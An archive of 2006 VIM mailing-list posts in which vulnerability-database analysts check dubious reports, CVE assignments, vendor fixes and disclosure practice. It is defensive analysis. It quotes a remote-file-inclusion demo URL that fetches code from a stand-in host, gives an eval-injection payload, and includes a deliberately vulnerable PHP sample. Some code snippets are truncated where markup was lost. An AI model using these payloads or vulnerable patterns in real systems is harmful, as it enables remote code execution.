From coley at linus.mitre.org Mon May 1 17:23:53 2006 From: coley at linus.mitre.org (Steven M. Christey) Date: Mon, 1 May 2006 17:23:53 -0400 (EDT) Subject: [VIM] CoolMenus Event Remote File Inclusion exploit (fwd) Message-ID: botan keeps showing up with these major errors or inconsistencies. Maybe he's doing live site testing and misinterpreting results? ---------- Forwarded message ---------- Date: Mon, 1 May 2006 17:20:09 -0400 (EDT) From: Steven M. Christey To: bugtraq at securityfocus.com Subject: Re: CoolMenus Event Remote File Inclusion exploit botan at linuxmail.org said: >#Website : http://coolmenus.dhtmlcentral.com/projects/coolmenus > [Closed] The new URL appears to be here: http://www.dhtmlcentral.com/projects/coolmenus/ >#ColMenus Event Remote File Include Vulnerability# The CoolMenus code does not appear to be written in PHP. Downloading the source code from the above URL, we see that there are a couple ASP files, and mostly .js and .html files. So, this code is NOT present in CoolMenus: > require("event_inc.php"); > >$start = filectime($news); > >$jetzt = time(); > >$update = "$start"+"$timespan"; > >if($jetzt >= $update) > >{include("artmedic_event_html.php");} (I grepped through version 4 beta 1.06 just to be sure). However, it looks almost exactly like the code from this disclosure for Artmedic Event: [Kurdish Security #2] Artmedic Event Remote File Include Vulnerability http://www.securityfocus.com/archive/1/archive/1/432397/100/0/threaded with a small difference in variables and file names. With a download of artmedic event 2.0 from here: http://www.artmedic-phpscripts.de/index.php?page=338434555&f=1&i=734394556&s=338434555 we can see that the above code came from artmedic_event.php. So: - CoolMenus is being claimed to be vulnerable to PHP remote file inclusion, when it isn't written in PHP; - source code is being quoted which does not exist in CoolMenus - the quoted source code appears to be derived from artmedic event, although there are some changes that are not explained In short, it is very difficult to figure out what vulnerability is being reported, and for what product. - Steve From coley at mitre.org Mon May 1 18:07:09 2006 From: coley at mitre.org (Steven M. Christey) Date: Mon, 1 May 2006 18:07:09 -0400 (EDT) Subject: [VIM] Bad URLs for Pro Publish issues Message-ID: <200605012207.k41M79sB017689@cairo.mitre.org> Some vdbs are using this URL for evuln's pro publish issues: http://evuln.com/vulns/131/description.html but that is for Advanced Poll. The URL for the pro Publish stuff is: http://evuln.com/vulns/130/summary.html - Steve From coley at mitre.org Mon May 1 20:02:14 2006 From: coley at mitre.org (Steven M. Christey) Date: Mon, 1 May 2006 20:02:14 -0400 (EDT) Subject: [VIM] More bad URLs for alex@evuln issues Message-ID: <200605020002.k4202E3G018836@cairo.mitre.org> http://evuln.com/vulns/130/summary.html has been included in some VDBs for a PHP Newsfeed issue, but the correct URL is http://evuln.com/vulns/129/summary.html I wonder if he switched his URLs around for some reason... From jericho at attrition.org Mon May 1 23:40:08 2006 From: jericho at attrition.org (security curmudgeon) Date: Mon, 1 May 2006 23:40:08 -0400 (EDT) Subject: [VIM] Non disclosure from security vendors: Truecrypt exemple (fwd) Message-ID: http://www.truecrypt.org/history.php 4.2 April 17, 2006 Improvements: Improved security of set-euid mode of execution (Linux). ---------- Forwarded message ---------- From: Julien TINNES To: dailydave at lists.immunitysec.com Date: Sun, 30 Apr 2006 14:10:57 +0200 Subject: [Dailydave] Non disclosure from security vendors: Truecrypt exemple Hello, I took a quick look at Truecrypt's 4.1 Linux source code in December, and quickly found out that the Linux version had a very simple critical flaw when installed as suid-root (which is not the default, but is an option during installation). It's running external commands such as 'mount' using execvp(), without any PATH sanitization (it would be bad enough even with PATH sanitization) and allows any user to gain root privileges. I wrote to them about this on December the 14th and had no answer. On January the 14th I wrote another email and I was answered that a new version should be released soon and that I should note that 'suid root was not the default'. I wrote back to them asking why they would'nt release a security advisory and a fix, explaining them it was important that users know about this problem. I was answered once again that the default configuration was secure. A few days ago I saw that a new version of Truecrypt Linux was released (April the 17th), and in the changelog we can see: "Improved security of set-euid mode of execution" in the middle of other improvements. It was not even in the Bug fixes section! I'm really asking myself why an open-source security vendor would deal with security like this. Especially for a cryptography-related product where opensource and disclosure of the information is really important to the user. I've not even looked into Truecrypt 4.2, probably won't and will just stop using it. I'm a bit surprised that someone puts time into writing an Opensource disk-ciphering software (which a lot of people were waiting for on the Windows platform) and ruins it by not disclosing critical information to their users. -- Julien From coley at linus.mitre.org Tue May 2 01:14:04 2006 From: coley at linus.mitre.org (Steven M. Christey) Date: Tue, 2 May 2006 01:14:04 -0400 (EDT) Subject: [VIM] Non disclosure from security vendors: Truecrypt exemple (fwd) Message-ID: given all the attention being paid to Microsoft/Oracle these days, I couldn't stop myself... ---------- Forwarded message ---------- Date: Tue, 2 May 2006 01:10:16 -0400 (EDT) From: Steven M. Christey To: dailydave at lists.immunitysec.com Subject: Re: Non disclosure from security vendors: Truecrypt exemple Julien TINNES said: >A few days ago I saw that a new version of Truecrypt Linux was >released (April the 17th), and in the changelog we can see: "Improved >security of set-euid mode of execution" in the middle of other >improvements. It was not even in the Bug fixes section! This occurs on a regular basis with some open source developers, in which the only record of a security issue occurs in a terse changelog. You could theoretically infer the changes from a diff - assuming the previous vulnerable version is still available - but often, the changelog is the only information you have. (Sometimes, even the distros are not immune from this problem.) CVE, OSVDB, and the other refined vuln information types face this issue frequently. Sometimes, only "diff digging" can tell you that an open source vendor has fixed an issue. And a diff isn't always clear about what the problem was. Whether the obfuscation is accidental or intentional, this example demonstrates how closed source does not have a monopoly on barely-usable vulnerability information. - Steve From coley at mitre.org Tue May 2 16:56:34 2006 From: coley at mitre.org (Steven M. Christey) Date: Tue, 2 May 2006 16:56:34 -0400 (EDT) Subject: [VIM] Clarification on resmgr/resmgrd issues Message-ID: <200605022056.k42KuYCZ028990@cairo.mitre.org> I just assigned CVE-2006-2147 to handle one of the issues described in SUSE-SR:2006:004, and DSA-1047. There was some uncertainty about whether this was a dupe of other resmgr issues. Here's a summary, with thanks to Ludwig Nussel of SUSE for giving the final information. 1) SUSE-SR:2005:022 in October 2005 had: CVE-2005-4788 - "alternate syntax" CVE-2005-4789 - "class specific exclude rules" 2) SUSE-SR:2006:004 in February 2006 included: CVE-2006-2147 (new) - "usb:," notation CVE-2005-4789 (same as SUSE-SR:2005:022)) - "class specific exclude rules" CVE-2005-4788 and CVE-2006-2147 sound similar, but are distinct. DEBIAN:DSA-1047 is at least addressing CVE-2006-2147, but Debian had to release it before I got clarification that it was different from CVE-2005-4788, which is why the CVE is not there. I don't know if DSA-1047 addresses the other resmgr issues. - Steve ====================================================== Name: CVE-2005-4788 Status: Candidate URL: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-4788 Reference: SUSE:SUSE-SR:2005:022 Reference: URL:http://www.novell.com/linux/security/advisories/2005_22_sr.html Reference: BID:15037 Reference: URL:http://www.securityfocus.com/bid/15037 resmgr in SUSE Linux 9.2 and 9.3, and possibly other distributions, allows local users to bypass access control rules for USB devices via "alternate syntax for specifying USB devices." ====================================================== Name: CVE-2005-4789 Status: Candidate URL: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-4789 Reference: SUSE:SUSE-SR:2005:022 Reference: URL:http://www.novell.com/linux/security/advisories/2005_22_sr.html Reference: BID:15037 Reference: URL:http://www.securityfocus.com/bid/15037 resmgr in SUSE Linux 9.2 and 9.3, and possibly other distributions, does not properly enforce class-specific exclude rules in some situations, which allows local users to bypass intended access restrictions for USB devices that set their class ID at the interface level. ====================================================== Name: CVE-2006-2147 Status: Candidate URL: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2147 Reference: SUSE:SUSE-SR:2006:004 Reference: URL:http://lists.suse.com/archive/suse-security-announce/2006-Feb/0008.html Reference: DEBIAN:DSA-1047 Reference: URL:http://www.debian.org/security/2006/dsa-1047 resmgrd in resmgr for SUSE Linux and other distributions does not properly handle when access to a USB device is granted by using "usb:," notation, which grants access to all USB devices and allows local users to bypass intended restrictions. NOTE: this is a different vulnerability than CVE-2005-4788. From coley at mitre.org Tue May 2 17:31:42 2006 From: coley at mitre.org (Steven M. Christey) Date: Tue, 2 May 2006 17:31:42 -0400 (EDT) Subject: [VIM] ClanSys issue might be eval injection, not file inclusion Message-ID: <200605022131.k42LVgDl029305@cairo.mitre.org> Ref: CVE-2006-2005 Advisory: Clansys <= 1.1 PHP Code Insertion Vulnerability. http://www.securityfocus.com/archive/1/archive/1/431873/100/0/threaded This looks like eval injection, not file inclusion, as most VDBs seem to be claiming. from the post: You can found vulnerable code at line 126 as an Code-> eval("?>" . $output); <-Code Purely nice coding isn't it?;) That's a funny-looking eval to me with the "?>" starting out, but presumably the $page variable feeds into $output. Where people got tripped up on file inclusion was in the demonstration exploit: http://[victim]/[ClanSysPath]/index.php?page=&s=http://yourhost.com/cmd.txt? Note that the page parameter actually uses PHP sequences to execute the include statement. Using the code above, we would have: eval("?>" . ""); which is ?> Turns out that the leading "?>" is a hint to eval() to support parsing of "" sequences - otherwise you'd get a parse error. Cute. - Steve From coley at mitre.org Wed May 3 00:13:55 2006 From: coley at mitre.org (Steven M. Christey) Date: Wed, 3 May 2006 00:13:55 -0400 (EDT) Subject: [VIM] Vendor ACK (diffs) for old Plogger issue - CVE-2005-4246 Message-ID: <200605030413.k434DtCK002392@cairo.mitre.org> While researching the newer Plogger issues, a CVE analyst found the following diff: http://masendav.com/~duke/PloggerChanges_files/FileComparisonReport5.html gallery.php was modified to use intval() on both id and page parameters. The file change was also on Dec 14, a day after r0t's original bug report. - Steve From coley at mitre.org Wed May 3 00:43:03 2006 From: coley at mitre.org (Steven M. Christey) Date: Wed, 3 May 2006 00:43:03 -0400 (EDT) Subject: [VIM] Dynamic Evaluation Vulnerabilities in PHP applications Message-ID: <200605030443.k434h3GX002615@cairo.mitre.org> ------------------------------------------------------ Dynamic Evaluation Vulnerabilities in PHP applications ------------------------------------------------------ Following is a brief introduction to a growing class of serious vulnerabilities in PHP applications. They can allow execution of arbitrary code or arbitrary functions, or read/write access of arbitrary internal variables. It seems that only a handful of researchers are currently looking for these issues, including Stefan Esser, retrogod, and Gulftech. However, these serious problems are probably present in many applications, especially large or complicated ones. In addition, researchers can trigger these vulnerabilities but incorrectly label them as XSS if they do not perform sufficient diagnosis. Note that these types of vulnerabilities are not unique to PHP. Other interpreted languages can have similar issues. For example, Perl, Python, and Javascript have eval functions. A recent myspace XSS issue used eval injection in Javascript [1], and eval injection has been reported in some Python applications (CVE-2005-2483, CVE-2005-3302) and Perl (CVE-2002-1750, CVE-2003-0770, CVE-2005-1527, CVE-2005-2837). -------------- Eval Injection -------------- Terminology note: this term is not common, but it is used in CVE. As of this writing, there is no commonly used alternative. An eval injection vulnerability occurs when an attacker can control all or part of an input string that is fed into an eval() function call. Eval will execute the argument as code. The security implications for this are obvious. This issue has been known for years [2], but it is still under-researched. Example: $myvar = "varname"; $x = $_GET['arg']; eval("\$myvar = \$x;"); What happens if arg is set to "10 ; system(\"/bin/echo uh-oh\");" ? Basic detection: - With source code: since it is a standard PHP function, it is easy to grep for potentially dangerous calls to eval(). However, the researcher must further investigate whether inputs can be controlled by an attacker. - Without source code: if verbose errors are available, an invalid input might trigger an error message related to a parsing error. Using an input of "phpinfo" might be useful. However, you might have to play with the inputs to match the syntactic requirements of the statement that is finally fed into the eval, just like you sometimes need to do in XSS or SQL injection. Eliminating the problem: - avoid eval() whenever possible - use only whitelists of acceptable values to insert into eval() calls. The whitelist might need to change depending on where in the program you are. --------------------------- Dynamic Variable Evaluation --------------------------- Terminology note: there is no common term for this kind of issue. PHP supports "variable variables," which are variables or expressions that evaluate to the names of other variables [3]. They can be used to dynamically change which variable is accessed or set during execution of the program. This powerful and convenient feature is also dangerous. If the variable names are not controlled, an attacker can read or write to arbitrary variables, depending on the application. The consequences depend on the program. In some cases, even critical variables such as $_GLOBALS can be modified [4]. Example: $varname = "myvar"; $$varname = 10; echo $myvar; This will set $myvar, and print the string "10"! It seems likely that this issue will occur more frequently as PHP developers modify their programs so that they do not require register_globals. A number of applications have code such as the following: $safevar = "0"; $param1 = ""; $param2 = ""; $param3 = ""; # my own "register globals" for param[1,2,3] foreach ($_GET as $key => $value) { $$key = $value; } If the attacker provides "safevar=bad" in the query string, then $safevar will be set to the value "bad". Detection Examples: $$varname ${$varname} ${$var . $name} ${arbitrary expression} Eliminating the problem: - use only whitelists of acceptable variable names. The whitelist might need to change depending on where in the program you are. --------------------------- Dynamic Function Evaluation --------------------------- Terminology note: there is no common term for this kind of issue. Variable variables can also be used to dynamically reference functions: $funcname = "myfunction"; $$funcname("Arg1", "Arg2"); This effectively calls myfunction("Arg1", "Arg2") ! Detection Examples: $$fname(); ${$var1 . $var2} ("arg"); ${"varname"} (); Eliminating the problem: - use only whitelists of acceptable function names. The whitelist might need to change depending on where in the program you are. ---------- References ---------- [1] Myspace.com - Intricate Script Injection Justin Lavoie http://marc.theaimsgroup.com/?l=bugtraq&m=114469411219299&w=2 [2] A Study In Scarlet: Exploiting Common Vulnerabilities in PHP Applications Shaun Clowes http://www.securereality.com.au/studyinscarlet.txt This classic paper briefly mentioned the risk of eval [3] PHP: Variable variables http://us3.php.net/manual/en/language.variables.variable.php [4] $GLOBALS Overwrite and it's Consequences Stefan Esser http://www.hardened-php.net/globals-problem This paper talks specifically about dynamic variable evaluation and the impact on superglobals such as $_GLOBALS. Esser was one of the first (if not the first) researchers to use the term "eval injection". ------------------------- Sample Vulnerable Program -------------------------

Dynamic Evaluation Vulnerabilities in PHP Applications - Examples

Dynamic variable evaluation (a "variable variable") ?varname=myvar
Dynamic function evaluation ?myfunc=phpinfo
Eval injection ?ev=do_this();

"; } $test = $_GET['test']; if ($test == 1) { echo "=== Implicit variable evaluation in \$myvar ===
\n"; echo "Parameter varname = " . $_GET['varname'] . "
\n"; $myvar = "unchangeable value"; echo "before: \$myvar = \"" . $myvar . "\"
\n"; $varname = $_GET['varname']; echo "EXECUTE: \$\$varname = \"new value\";
\n"; $$varname = "new value"; echo "after: \$myvar = \"" . $myvar . "\"
\n"; } elseif ($test == 2) { echo "=== Implicit function evaluation in \$myfunc ===
\n"; $myfunc = $_GET['myfunc']; echo "EXECUTE: \$myfunc();
\n"; ${"myfunc"}(); $myfunc(); } elseif ($test == 3) { echo "=== Eval Injection in \$ev ===
\n"; $ev = $_GET['ev']; echo "EXECUTE: eval(\$ev);
\n"; echo "actual statement will be: eval($ev)


\n"; eval($ev); } ?> From coley at mitre.org Thu May 4 00:29:34 2006 From: coley at mitre.org (Steven M. Christey) Date: Thu, 4 May 2006 00:29:34 -0400 (EDT) Subject: [VIM] prvable vendor ACK for OpenWebMail issue Message-ID: <200605040429.k444TYGW015107@cairo.mitre.org> FYI... Brian, hope you didn't create 8 or 9 OSVDB's yet ;-) - Steve ====================================================== Name: CVE-2006-2190 Status: Candidate URL: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2190 Acknowledged: yes changelog Announced: 20060427 Flaw: XSS Reference: MISC:http://pridels.blogspot.com/2006/04/open-webmail-251-xss-vuln.html Reference: MLIST:[owm-announce] 20060502 OpenWebMail version 2.52 Reference: URL:http://openwebmail.acatysmoof.com/archive/html/owm-announce/owm-announce.200605/msg00000.html Reference: CONFIRM:http://openwebmail.acatysmoof.com/dev/svn/index.pl/openwebmail/log/trunk/?rev=233&limit=33 Reference: CONFIRM:http://openwebmail.acatysmoof.com/dev/svn/index.pl/openwebmail/diff/trunk/src/cgi-bin/openwebmail/shares/ow-shared.pl?rev1=232;rev2=233 Reference: SECUNIA:16734 Reference: URL:http://secunia.com/advisories/16734 Reference: XF:openwebmail-multiple-scripts-xss(26105) Reference: URL:http://xforce.iss.net/xforce/xfdb/26105 Cross-site scripting (XSS) vulnerability in ow-shared.pl in OpenWebMail (OWM) 2.51 and earlier allows remote attackers to inject arbitrary web script or HTML via the sessionid parameter in (1) openwebmail-send.pl, (2) openwebmail-advsearch.pl, (3) openwebmail-folder.pl, (4) openwebmail-prefs.pl, (5) openwebmail-abook.pl, (6) openwebmail-read.pl, (7) openwebmail-cal.pl, and (8) openwebmail-webdisk.pl. NOTE: the openwebmail-main.pl vector is already covered by CVE-2005-2863. Analysis: ACKNOWLEDGEMENT: The vendor changelog says "What's new in 2.52 ... a number of security vulnerabilities have been addressed in this release." This is not sufficient itself, but the 2006/05/02 entry in the changelog says "fix a bug that arbitary XSS code may be executed by passing script in the sessionid value, because the sessionid was not sanitized before it was displayed in the error output. (reported by Jose Alves..." Despite the fact that Alves is not the same name as the original discloser of this issue, the similarity in attack vectors and close correlation of disclosure dates show that threse are the same issues. In addition, the diff for ow-shared.pl clearly shows XSS-related quoting, and ow-shared.pl is included in at least openwebmail-prefs.pl. From coley at mitre.org Thu May 4 23:47:32 2006 From: coley at mitre.org (Steven M. Christey) Date: Thu, 4 May 2006 23:47:32 -0400 (EDT) Subject: [VIM] 4images fix - but for which issue? Message-ID: <200605050347.k453lWEY001828@cairo.mitre.org> http://www.4homepages.de/forum/index.php?topic=11877.0 The new version 1.7.2 has just been released and contains a few new features and a lot of bugfixes as well as all security fixes. We recommend all users to update to the current version. All changes and features are listed in "docs/Changelog.txt". Since CVE-2006-0899 is a retrogod issue, and that was released on March 1, and this fix was on March 2, that *might* be the proper fix. CVE-2006-2011 was announced April 20, but it's for version 1.7. No apparent coordinated disclosure, so 1.7.2 might still be vulnerable. Clicking through a couple links, we see that 1.7.1 is still available for download, and 1.7.2. is available too. Do a diff -r and we get 5000 lines of diffs. ugh. grep for "template" doesn't yield anything interesting... so either the retrogod issue wasn't fixed in the obvious way, or maybe there was some deeper fix/redesign that isn't findable by a grep or two. In both 1.7.1 and 1.7.2 index.php, we have: if (isset($HTTP_GET_VARS['template']) || isset($HTTP_POST_VARS['template'])) { $template = (isset($HTTP_GET_VARS['template'])) ? basename(stripslashes($HTTP_GET_VARS['template'])) : basename(stripslashes($HTTP_POST_VARS['template'])); if (!file_exists(TEMPLATE_PATH."/".$template.".".$site_template->template_extension)) { $template = ""; } else { $main_template = $template; } } So, maybe the traversal is fixed elsewhere... or maybe not. Can't be sure. So how about the Qex XSS? Looking at register.php in 1.7.1 we have: $user_name = (isset($HTTP_POST_VARS['user_name'])) ? un_htmlspecialchars(trim($HTTP_POST_VARS['user_name'])) : ""; $user_name = ereg_replace("( ){2,}", " ", $user_name); $user_name = str_replace('<', '', $user_name); $user_name = str_replace('>', '', $user_name); So this looks like this is stripping the main characters being used in Qex's exploit. However, Qex reported the XSS in 1.7, so maybe this got fixed in 1.7.1... but Secunia reports it was confirmed in 1.7.2, so maybe I'm missing something entirely. Source code inspection can only get you so far :) - Steve From coley at linus.mitre.org Fri May 5 12:06:02 2006 From: coley at linus.mitre.org (Steven M. Christey) Date: Fri, 5 May 2006 12:06:02 -0400 (EDT) Subject: [VIM] Clarification on EV130 (fwd) Message-ID: Regarding CVE-2006-2128 (Pro Publish SQL injection) Some clarification from Alex at evuln on the use of cat.php. He had mentioned it in the list of affected scripts but didn't provide the affected parameters, although he did so for the others. Since updated. - Steve --------------- Hi, script: "cat.php" parameter: "catid" Updated: http://evuln.com/vulns/130/description.html Thanks, Alex. From jericho at attrition.org Fri May 5 23:08:58 2006 From: jericho at attrition.org (security curmudgeon) Date: Fri, 5 May 2006 23:08:58 -0400 (EDT) Subject: [VIM] awstats - taking bets Message-ID: http://awstats.sourceforge.net/awstats_security_news.php Version 6.6 or higher (safe from any known exploits) There is no exploit nor hole known by AWStats team on this version, so AWStats 6.6 and higher are safe. You may however find announces (even recent) about several holes in AWStats. This announces claims that parameters provided into URLs are not sanitized. As you can see in AWStats code, you may find the line $QueryString = CleanFromCSSA(&DecodeEncodedString($QueryString)); This line sanitizes all URLs parameters provided to AWStats. Note: Some annouces say that some AWstats versions has more serious holes because of the use of the "eval" Perl function. It's true that using "eval" function can be a hole when its parameters are not sanitized, but they are in 6.5 (for the 'configdir' parameter) and are in 6.6 (for all parameters, even 'migrate' parameter forgotten in 6.5), so you can ignore such warnings. It's same for CSS attacks. Parameters to prevent CSS attacks are sanitized in AWStats core code by the same line. [..] So.. no more input sanitization failure related vulns from here on out! From coley at linus.mitre.org Mon May 8 17:57:51 2006 From: coley at linus.mitre.org (Steven M. Christey) Date: Mon, 8 May 2006 17:57:51 -0400 (EDT) Subject: [VIM] awstats - taking bets In-Reply-To: References: Message-ID: On Fri, 5 May 2006, security curmudgeon wrote: > So.. no more input sanitization failure related vulns from here on out! :) although maybe (hopefully?) the vulns will be more complex, and/or errors in the input validation mechanisms themselves. - Steve From sullo at cirt.net Tue May 9 00:26:43 2006 From: sullo at cirt.net (Sullo) Date: Tue, 09 May 2006 00:26:43 -0400 Subject: [VIM] Vendor Dispute: PHP-Nuke Top Music Module Multiple Variable SQL Injection Message-ID: <44601A03.2050605@cirt.net> OSVDB-ID: 21397 Comment: "Hi, this vulnerability is a fake. SQL injection is controlled in all SQL sentences" http://pridels.blogspot.com/2005/11/top-music-module-for-php-nuke-sql-inj.html This is a r0t one... I checked out the source and he does a lot of this for protection before sending it the database. $title=str_replace("'","''",$title); I don't feel like digging through all the source, but this seems like insufficient protection against sql injection, and I don't see any other filtering in the files I looked at. Sadly, s/he didn't leave a contact email, and I can't find one on the site, so I can't follow up. From coley at mitre.org Tue May 9 17:13:21 2006 From: coley at mitre.org (Steven M. Christey) Date: Tue, 9 May 2006 17:13:21 -0400 (EDT) Subject: [VIM] "X-POLL admin By-Pass" - standard PHP upload? Message-ID: <200605092113.k49LDL3V000703@cairo.mitre.org> Ref: BUGTRAQ:20060507 X-POLL admin By-Pass URL:http://www.securityfocus.com/archive/1/archive/1/433220/100/0/threaded BID:17901 URL:http://www.securityfocus.com/bid/17901 The original bugtraq post provides very little usable information, except "upload to shell". Source code inspection of add.php in X-Poll 2.30, as obtained from here: http://members.lycos.co.uk/xscripts03/ shows the following code... function upload ($filedir, $source, $lastname) { chmod ($filedir, 0777); move_uploaded_file ($source, "$filedir/$lastname"); } $filename = $_FILES['txtImage']['name']; $tempname = $_FILES['txtImage']['tmp_name']; upload ("../".$dir, $tempname, $filename); So, it's taking the claimed filename (presumably provided by the uploader) and using it as a part of the final filename. There's no apparent cleansing or validation. The "upload" function here simply moves the file to the new directory. So, presumably the attacker can upload an arbitrary .php file, then access it ("upload to shell" as the original researcher said). - Steve From coley at mitre.org Fri May 12 01:28:49 2006 From: coley at mitre.org (Steven M. Christey) Date: Fri, 12 May 2006 01:28:49 -0400 (EDT) Subject: [VIM] Vendor dispute of CVE-2006-2184 Message-ID: <200605120528.k4C5SnnS029728@cairo.mitre.org> FYI... while d4igoro's web page notes that the vendor disputes this issue, and this is reflected in the CVE, the vendor has sent email directly to CVE/NVD saying: there is no such hole in our product and we fully claim that our product PHPKB Knowledge Base Script is free from any such “script attack” hole in it. You can test the script at http://www.knowledgebase-script.com/demo/ Having been given their go-ahead to test their demo site, you can predict what I was able to find out within about 2 minutes. granted, and